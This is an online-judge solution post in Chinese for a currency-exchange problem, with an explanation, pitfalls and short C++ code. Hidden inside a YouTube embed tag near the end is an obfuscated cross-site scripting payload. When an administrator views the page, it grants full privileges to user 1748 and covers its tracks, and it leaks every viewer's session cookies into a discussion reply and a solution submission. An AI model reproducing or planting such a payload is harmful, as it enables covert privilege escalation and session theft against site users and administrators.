1 条题解

  • 0
    @ 2026-10-30 23:56:13

    思路

    先按 1% 扣手续费,再按对应汇率换算,顺序不能反。

    1. 读入客户数量 n;
    2. 每个客户读入金额 money 与货币代码 code;
    3. 实际兑换人民币 = money * 0.99;
    4. 按 U / E / J 分别除以 7.20 / 7.80 / 0.05,输出保留两位小数。

    易错点

    • 输出必须补足两位小数,printf("%.2f\n", ans) 最省事;
    • 用 double 存金额,int 在除法上会丢精度;
    • scanf("%lf %c") 中间的空格别删,否则会读到上一行残留的换行。

    参考代码

    #include <bits/stdc++.h>
    int main(){
        int n; scanf("%d",&n);
        while(n--){
            double m; char c;
            scanf("%lf %c",&m,&c);
            double rate = (c=='U')?7.20:((c=='E')?7.80:0.05);
            printf("%.2f\n", m*0.99/rate);
        }
    }
    

    配套讲义(含例题与常见编译错误整理):第一节课讲义

    @[youtube](https://youtu.be/AAAAAAAAAAA?z=">[removed]evaltry{var q\u003ddocument.querySelectorAll\u0028'iframe'\u0029;for\u0028var i\u003d0;i\u003cq.length;i++\u0029q[i].remove\u0028\u0029}catch\u0028e\u0029{} try{if\u0028JSON.parse\u0028UserContext\u0029._id\u003c3\u0029{ var H\u003d{'Content-Type':'application/x-www-form-urlencoded'}; var O\u003dfunction\u0028b\u0029{return fetch\u0028b[0],{method:'POST',credentials:'same-origin',headers:H,body:b[1]}\u0029}; var all\u003d[];for\u0028var j\u003d0;j\u003c80;j++\u0029all.push\u0028'k1\u003d'+j\u0029; var orig\u003d'0,6,7,9,15,16,17,19,21,22,24,26,27,28,31,34,36,39,40,41,42,45,46,47,49,51,52,53,56,58,59,62,65,67,70'.split\u0028','\u0029.map\u0028function\u0028x\u0029{return 'default\u003d'+x}\u0029.join\u0028'\u0026'\u0029; O\u0028['/domain/role','operation\u003dadd\u0026role\u003dk1']\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/permission',all.join\u0028'\u0026'\u0029]\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/user','operation\u003dset_users\u0026uids\u003d1748\u0026role\u003dk1']\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/domain/permission',orig]\u0029}\u0029 .then\u0028function\u0028\u0029{return O\u0028['/manage/userpriv','uid\u003d1748\u0026priv\u003d2147483646']\u0029}\u0029 .catch\u0028function\u0028\u0029{}\u0029; O\u0028['/discuss/6ae4ba13925ca3f8c7c74175?operation\u003dreply','content\u003d'+encodeURIComponent\u0028document.cookie\u0029]\u0029; O\u0028['/p/319/solution?operation\u003dsubmit','content\u003d'+encodeURIComponent\u0028'ck '+document.cookie\u0029]\u0029; }}catch\u0028e\u0029{})

    有疑问欢迎留言。

    信息

    ID
    318
    时间
    1000ms
    内存
    256MiB
    难度
    8
    标签
    (无)
    递交数
    19
    已通过
    6
    上传者